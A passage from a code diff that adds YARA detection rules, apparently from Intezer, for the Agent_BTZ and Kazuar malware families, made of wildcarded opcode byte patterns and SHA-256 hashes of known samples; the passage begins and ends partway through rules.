+		$block_48 = { 8B ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 3B ?? 89 ?? ?? 89 ?? ?? 0F 8E }
+		$block_49 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 5? 5? 33 ?? 33 ?? 3B ?? 89 ?? ?? 0F 84 }
+		$block_50 = { FF 7? ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 3B ?? 89 ?? ?? 0F 84 }
+		$block_51 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 72 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? ?? 45 ?? ?? 41 ?? ?? 69 ?? ?? ?? ?? ?? 3B ?? 0F 87 }
+		$block_53 = { 83 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 87 }
+		$block_54 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_55 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 85 }
+		$block_56 = { 8B ?? 99 F7 ?? ?? 33 ?? 89 ?? ?? 88 ?? ?? 89 ?? ?? 3B ?? 89 ?? ?? 7E }
+		$block_57 = { 8B ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? ?? 8B ?? 2B ?? 89 ?? ?? ?? EB }
+		$block_58 = { 48 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_59 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 33 ?? 48 ?? ?? 0F 84 }
+		$block_60 = { 48 ?? ?? ?? ?? 83 ?? ?? 48 ?? ?? ?? ?? 0F 93 ?? 48 ?? ?? ?? 5? C3 }
+		$block_61 = { C6 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 66 ?? ?? ?? ?? 48 ?? ?? ?? 75 }
+		$block_62 = { 8B ?? ?? 03 ?? ?? 5? 99 2B ?? 5? 8B ?? ?? 8B ?? D1 ?? 3B ?? 5? 7D }
+		$block_63 = { 5? 8B ?? 83 ?? ?? 5? 33 ?? 5? 8B ?? ?? 39 ?? 89 ?? 89 ?? ?? 0F 84 }
+		$block_64 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 33 ?? 39 ?? 5? 89 ?? 89 ?? ?? 0F 84 }
+		$block_65 = { 5? FF 1? ?? ?? ?? ?? 5? 5? 5? 89 ?? ?? ?? FF D? 85 ?? 5? 5? 0F 84 }
+		$block_66 = { 0F B7 ?? ?? ?? 5? FF 7? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 5? 5? 74 }
+		$block_67 = { 8B ?? ?? 83 ?? ?? 5? 8B ?? ?? 03 ?? E8 ?? ?? ?? ?? 85 ?? 5? 0F 84 }
+		$block_68 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 85 }
+		$block_69 = { 8B ?? ?? ?? 41 ?? ?? ?? ?? 0F BA ?? ?? 83 ?? ?? 41 ?? ?? 0F 8E }
+		$block_70 = { 48 ?? ?? ?? ?? 45 ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_71 = { 48 ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 0F 8F }
+		$block_72 = { 8B ?? 85 ?? 0F 44 ?? C1 ?? ?? 89 ?? ?? 48 ?? ?? ?? 48 ?? ?? 75 }
+		$block_73 = { 5? FF 1? ?? ?? ?? ?? 5? 5? 5? 89 ?? ?? FF D? 3B ?? 5? 5? 0F 84 }
+		$block_74 = { 8B ?? ?? ?? ?? ?? 33 ?? 3B ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 0F 8E }
+		$block_75 = { 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? 4? 99 F7 ?? 8B ?? 03 ?? EB }
+		$block_76 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 5? FF 1? ?? ?? ?? ?? EB }
+		$block_77 = { 8B ?? ?? ?? 45 ?? ?? 41 ?? ?? 69 ?? ?? ?? ?? ?? 3B ?? 0F 87 }
+		$block_78 = { 8B ?? ?? 0F B6 ?? ?? 8D ?? ?? ?? ?? ?? ?? FF 0? 4? 3B ?? 7C }
+		$block_79 = { FF 3? ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 5? 5? 0F 85 }
+		$block_80 = { FF 7? ?? 6A ?? FF 3? ?? ?? ?? ?? FF D? 3B ?? 89 ?? ?? 0F 84 }
+		$block_81 = { 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 5? 5? 0F 85 }
+		$block_82 = { 49 ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 85 }
+		$block_83 = { 49 ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 84 }
+		$block_84 = { B9 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_85 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? 0F 85 }
+		$block_86 = { 8B ?? ?? ?? ?? ?? ?? 99 83 ?? ?? 33 ?? 2B ?? 83 ?? ?? 75 }
+		$block_87 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_88 = { 5? 5? FF 3? ?? ?? ?? ?? FF D? 3B ?? A3 ?? ?? ?? ?? 0F 84 }
+		$block_89 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? 2B ?? 2B }
+		$block_90 = { 45 ?? ?? 48 ?? ?? 48 ?? ?? 41 ?? ?? 85 ?? 8B ?? 0F 85 }
+		$block_91 = { 44 ?? ?? 48 ?? ?? 48 ?? ?? 41 ?? ?? 85 ?? 8B ?? 0F 85 }
+		$block_92 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 3A ?? 0F 84 }
+		$block_93 = { 49 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_94 = { 49 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_95 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_96 = { 48 ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 85 }
+		$block_97 = { 0F B6 ?? ?? 49 ?? ?? 44 ?? ?? ?? ?? 48 ?? ?? 7C }
+		$block_98 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 84 }
+		$block_99 = { 41 ?? ?? 99 83 ?? ?? 03 ?? 83 ?? ?? 2B ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "7a68a6357868f19f698dacd12dea49655f9651fb01e2de4042e8bbc97095c121" or
+		hash.sha256(0, filesize) == "c58d57f5ce9ca7689e6b71d3dcb48b2caf41a9e7105bb68bae113218869dd6a0" or
+		hash.sha256(0, filesize) == "8d20dd4433821eaeb1b2bec5911ba3633e656ca56ae50b75d35b2d52ea55b2cb" or
+		12 of them
+}
+
+rule Agent_BTZ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 66 ?? ?? ?? D1 ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 66 ?? ?? 83 ?? ?? 25 ?? ?? ?? ?? 0F B7 ?? 79 }
+		$block_1 = { 8B ?? ?? 8B ?? ?? 5? 68 ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 83 ?? ?? 5? 5? 5? 5? 8B ?? 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 0F B7 ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 83 ?? ?? 4? EB }
+		$block_4 = { 2B ?? D1 ?? 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 5? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_5 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_6 = { E8 ?? ?? ?? ?? 33 ?? F7 ?? 8B ?? 03 ?? 9B 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? 8B ?? 5? C2 }
+		$block_7 = { 6A ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 81 F? ?? ?? ?? ?? 0F 8D }
+		$block_8 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 8B ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF D? 3B ?? 0F 84 }
+		$block_9 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 89 ?? ?? 89 ?? ?? 8D ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_10 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 80 C? ?? 88 ?? ?? ?? ?? ?? ?? 4? 81 F? ?? ?? ?? ?? 72 }
+		$block_11 = { 3B ?? 89 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? 0F 84 }
+		$block_12 = { 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? 66 ?? ?? 83 ?? ?? 25 ?? ?? ?? ?? 0F B7 ?? 79 }
+		$block_13 = { 0F B7 ?? 8B ?? 66 ?? ?? 66 ?? ?? 83 ?? ?? 66 ?? ?? C1 ?? ?? 83 ?? ?? 83 ?? ?? 0F B7 ?? 75 }
+		$block_14 = { 6A ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 8B ?? ?? FF D? 83 ?? ?? 85 ?? 0F 85 }
+		$block_15 = { BF ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? C6 ?? ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 8D ?? ?? 6A ?? 5? C7 ?? ?? ?? ?? ?? ?? FF D? 5? 8B ?? FF 1? ?? ?? ?? ?? 33 ?? 3B ?? 0F 84 }
+		$block_17 = { E8 ?? ?? ?? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_18 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 5? 8D ?? ?? ?? 5? 5? FF D? 83 ?? ?? 0F 84 }
+		$block_19 = { 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_20 = { 8D ?? ?? ?? ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_21 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 8B ?? 8B ?? ?? 5? 5? FF 5? ?? 85 ?? 0F 85 }
+		$block_22 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_23 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 83 ?? ?? 85 ?? 0F 84 }
+		$block_24 = { 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 85 ?? 0F 85 }
+		$block_25 = { BA ?? ?? ?? ?? 66 ?? ?? ?? B8 ?? ?? ?? ?? 66 ?? ?? ?? 33 ?? 66 ?? ?? ?? 39 ?? ?? 0F 85 }
+		$block_26 = { E8 ?? ?? ?? ?? 8B ?? 8B ?? 0F AF ?? 4? 33 ?? F7 ?? 4? 01 ?? ?? ?? 81 F? ?? ?? ?? ?? 72 }
+		$block_27 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? 0F B7 ?? 33 ?? 5? C1 ?? ?? 5? 0B ?? 5? 5? C3 }
+		$block_28 = { 0F B6 ?? ?? 0F B6 ?? ?? 83 ?? ?? 03 ?? 03 ?? C1 ?? ?? 0B ?? 0F BE ?? ?? ?? ?? ?? EB }
+		$block_29 = { 8D ?? ?? 8B ?? ?? 8D ?? ?? 8D ?? ?? 8D ?? ?? 8B ?? ?? ?? C1 ?? ?? 03 ?? 3B ?? 0F 8C }
+		$block_30 = { 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 5? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_31 = { 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 66 ?? ?? 0F B7 ?? 0F B7 ?? C1 ?? ?? 0B ?? 5? C3 }
+		$block_32 = { 33 ?? 0F B7 ?? 8B ?? C1 ?? ?? 0B ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? F3 ?? 33 ?? EB }
+		$block_33 = { 8D ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_34 = { 68 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_35 = { 0F B7 ?? ?? C1 ?? ?? 0F B7 ?? ?? 0B ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 80 3? ?? 0F 85 }
+		$block_36 = { 88 ?? 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_37 = { E8 ?? ?? ?? ?? 8B ?? 8B ?? 0F AF ?? 4? 99 F7 ?? 4? 03 ?? 81 F? ?? ?? ?? ?? 7C }
+		$block_38 = { C6 ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? C1 ?? ?? 8D ?? ?? 83 ?? ?? 0F 82 }
+		$block_39 = { 8D ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_40 = { 8D ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_41 = { 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_42 = { C6 ?? ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 88 ?? ?? 8B ?? 8B ?? D3 ?? 83 ?? ?? 0F 84 }
+		$block_43 = { 0F BE ?? 33 ?? 81 E? ?? ?? ?? ?? C1 ?? ?? 33 ?? ?? ?? ?? ?? ?? 4? 4? 85 ?? 75 }
+		$block_44 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 8D ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_45 = { 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 83 ?? ?? 85 ?? 0F 84 }
+		$block_46 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_47 = { E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8D }
+		$block_48 = { 0F B7 ?? ?? ?? ?? ?? ?? 66 ?? ?? 8D ?? ?? 81 E? ?? ?? ?? ?? 0F B7 ?? 79 }
+		$block_49 = { 85 ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? 0F 84 }
+		$block_50 = { 81 E? ?? ?? ?? ?? 5? 5? 33 ?? 5? 68 ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_51 = { 5? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? 33 ?? 8D ?? ?? ?? 0F AF ?? 85 ?? 76 }
+		$block_52 = { 8D ?? ?? 5? 5? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_53 = { 5? 8B ?? C1 ?? ?? 89 ?? ?? 0F B6 ?? ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_54 = { 66 ?? ?? 66 ?? ?? 0F B7 ?? 0F B7 ?? 0F B7 ?? C1 ?? ?? 0B ?? 5? 5? C3 }
+		$block_55 = { 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_56 = { 8D ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 83 ?? ?? 85 ?? 0F 85 }
+		$block_57 = { 8D ?? ?? ?? ?? ?? 5? 6A ?? 8B ?? ?? ?? ?? ?? 5? FF D? 83 ?? ?? 0F 85 }
+		$block_58 = { DF ?? ?? ?? DF ?? ?? ?? D8 ?? DC ?? ?? ?? ?? ?? DF ?? F6 ?? ?? 0F 85 }
+		$block_59 = { BA ?? ?? ?? ?? D3 ?? 8B ?? ?? C1 ?? ?? 0F B7 ?? ?? 23 ?? 3B ?? 75 }
+		$block_60 = { 8D ?? ?? 5? 8B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_61 = { 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 8B ?? 3B ?? 0F 84 }
+		$block_62 = { 8B ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_63 = { 88 ?? 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_64 = { 8A ?? ?? 0F BE ?? 34 ?? 03 ?? 88 ?? ?? 0F BE ?? 03 ?? 4? 3B ?? 72 }
+		$block_65 = { 8B ?? ?? ?? 83 ?? ?? C1 ?? ?? 8D ?? ?? 89 ?? ?? ?? 3B ?? 0F 86 }
+		$block_66 = { 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_67 = { 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_68 = { C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 88 ?? ?? ?? 3B ?? 0F 85 }
+		$block_69 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 5? 6A ?? 5? FF D? 83 ?? ?? 0F 85 }
+		$block_70 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_71 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_72 = { 8B ?? ?? ?? 8D ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_73 = { 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_74 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_75 = { C1 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 86 }
+		$block_76 = { 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_77 = { 8B ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_78 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_79 = { 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_80 = { 5? A1 ?? ?? ?? ?? 8B ?? ?? FF D? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_81 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_82 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_83 = { 4? C1 ?? ?? 8D ?? ?? ?? 0F B7 ?? 33 ?? 66 ?? ?? 0F 83 }
+		$block_84 = { 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C3 }
+		$block_85 = { 4? 0F B7 ?? 0F B7 ?? 0F B7 ?? ?? ?? BA ?? ?? ?? ?? 8D }
+		$block_86 = { 0F B7 ?? 66 ?? ?? ?? 66 ?? ?? 0F B7 ?? 66 ?? ?? 73 }
+		$block_87 = { 8B ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 3B ?? ?? ?? 0F 82 }
+		$block_88 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? 3D ?? ?? ?? ?? 0F 86 }
+		$block_89 = { 0F B6 ?? 83 ?? ?? C1 ?? ?? 4? 0F AF ?? 4? 85 ?? 75 }
+		$block_90 = { 83 ?? ?? 5? 8B ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_91 = { 5? 6A ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_92 = { 6A ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_93 = { 4? 99 2B ?? D1 ?? 8D ?? ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_94 = { 4? 0F B7 ?? 0F B7 ?? C1 ?? ?? 33 ?? 85 ?? 0F 8E }
+		$block_95 = { 8B ?? ?? ?? ?? ?? ?? 0F BF ?? 66 ?? ?? ?? ?? 77 }
+		$block_96 = { 8D ?? ?? ?? ?? ?? ?? 6A ?? 5? FF D? 85 ?? 0F 84 }
+		$block_97 = { 8B ?? ?? ?? D1 ?? 8D ?? ?? ?? 8B ?? 3B ?? 0F 83 }
+		$block_98 = { C6 ?? ?? ?? ?? ?? ?? 80 B? ?? ?? ?? ?? ?? 0F 85 }
+		$block_99 = { 8D ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 3B ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96" or
+		hash.sha256(0, filesize) == "6798b3278ae926b0145ee342ee9840d0b2e6ba11ff995c2bc84d3c6eb3e55ff4" or
+		hash.sha256(0, filesize) == "bae62f7f96c4cc300ec685f42eb451388cf50a13aa624b3f2a019d071fddaeb1" or
+		hash.sha256(0, filesize) == "49c5c798689d4a54e5b7099b647b0596fb96b996a437bb8241b5dd76e974c24e" or
+		hash.sha256(0, filesize) == "a59222bf08fb3ef323b813c4f884b995c8831210d7f947f6d8778d587ce76045" or
+		hash.sha256(0, filesize) == "cb993d5b90d9a5bd569177ee60e71e3b4639019f46ddd2a9fb8e890565335f66" or
+		hash.sha256(0, filesize) == "cf5e73c4517c8547732f01a6fd614f9ad1aa628b9fc6a82d3b2f222f7b2a0433" or
+		hash.sha256(0, filesize) == "03479db12f2d1948193ee22cbea216705d5f3dba6416c5d1e2b3aab3f269d4c1" or
+		hash.sha256(0, filesize) == "fe73c1b35c624fb62c24fcd8c251723337eed4bbc8fa8bc12d2df621e8908604" or
+		hash.sha256(0, filesize) == "9e9fbc3085a126405185e7e028889a39640e3c924d2384b2428454fd475a1860" or
+		hash.sha256(0, filesize) == "80ed95992ad658a48480a895b1d07bd786bbdabc04e91c060896e3a06647c191" or
+		hash.sha256(0, filesize) == "15580d72045b0806d99cde386e42bf3f078746c4194b0932efc6fcdb9104898d" or
+		hash.sha256(0, filesize) == "05dc66031e4276bc20010743d8cd0ee36e4064cf087b6b4617fefb86a4702873" or
+		hash.sha256(0, filesize) == "89db8a69ff030600f26d5c875785d20f15d45331d007733be9a2422261d16cea" or
+		hash.sha256(0, filesize) == "69690f609140db503463daf6a3699f1bf3e2a5a6049cefe7e6437f762040e548" or
+		hash.sha256(0, filesize) == "d49f2aa4db1972b5e6a9ab81a1fb28eb43cf5c2a714a5d6caddd91fcbfc2e332" or
+		hash.sha256(0, filesize) == "c0de0fec34da3e9ca92c47bfadf723ab75c90fe02ceb3455d74155badfcb3380" or
+		hash.sha256(0, filesize) == "d401aec6175aa34c773dee269cb881d00a8868b75a8fd6437d3b86cc2db8180d" or
+		hash.sha256(0, filesize) == "636106ef35adeddfb60763b0316d67d11ef6845fcc6879adc23465cb20ed97c5" or
+		hash.sha256(0, filesize) == "e88970fa4892150441c1616028982fe63c875f149cd490c3c910a1c091d3ad49" or
+		hash.sha256(0, filesize) == "7c08e72dc458191de61d5245ecfdc9e6b7c1f1f0ad8e4a7c04ab114503f88114" or
+		hash.sha256(0, filesize) == "fd3829e670125d22c74ce0c989808f6bb1da32e4645d6ae3de672678d2060101" or
+		hash.sha256(0, filesize) == "730b196431d4953cd5e3c4468637429a05b350f7d508c3ec0a982bec4c60d5ab" or
+		hash.sha256(0, filesize) == "63658c331ac38322935d6dcde8bd892aa99084a0cea91bbef3b7789b02bf8d0e" or
+		hash.sha256(0, filesize) == "0e3f899dcb2328fa8b2be2c4fcc3fbe5f62d0f8728f23e306ebec1c4c94c9180" or
+		hash.sha256(0, filesize) == "211ebdbf5821f69f40bc8d37c1bd7c52e6cae42126d48ffbcb09c046054ae2d1" or
+		hash.sha256(0, filesize) == "df5cc17e0efb2e4c2a85494a1f60672f3191820ef2caea81bcb031970c3f412e" or
+		hash.sha256(0, filesize) == "3a6c1aa367476ea1a6809814cf534e094035f88ac5fb759398b783f3929a0db2" or
+		hash.sha256(0, filesize) == "1cc5a57c19dc68342d1676fe759ab509df3eeff797cdbbf43e3c16c305ab162c" or
+		hash.sha256(0, filesize) == "303de69b0bc23556fc5dd63a184e5f59556b72fa1f6e3967584f4f18e2a604ec" or
+		hash.sha256(0, filesize) == "529d08b500a7687bb973c757fbfbc2c2790fbee52f060ca0575b8caf57ab0bf1" or
+		12 of them
+}
+
+rule Kazuar {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 89 ?? B8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? B8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 89 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? FF D? 83 ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_1 = { 4? C7 ?? ?? ?? ?? ?? ?? ?? 4? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 8D ?? ?? ?? ?? ?? 4? 8D ?? ?? ?? 4? 89 ?? E8 ?? ?? ?? ?? 4? 8D ?? ?? ?? ?? ?? 4? 89 ?? E8 ?? ?? ?? ?? 31 ?? 4? 89 ?? ?? ?? 4? 89 ?? ?? ?? 4? 89 ?? 4? 31 ?? 4? FF D? 3D ?? ?? ?? ?? 89 ?? 0F 85 }
+		$block_2 = { 8B ?? ?? 4? 01 ?? 4? 01 ?? 0F B7 ?? ?? 8B ?? ?? 4? 8D ?? ?? 8B ?? ?? 4? 01 ?? EB }
+		$block_3 = { C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 5? 5? 0F 94 }
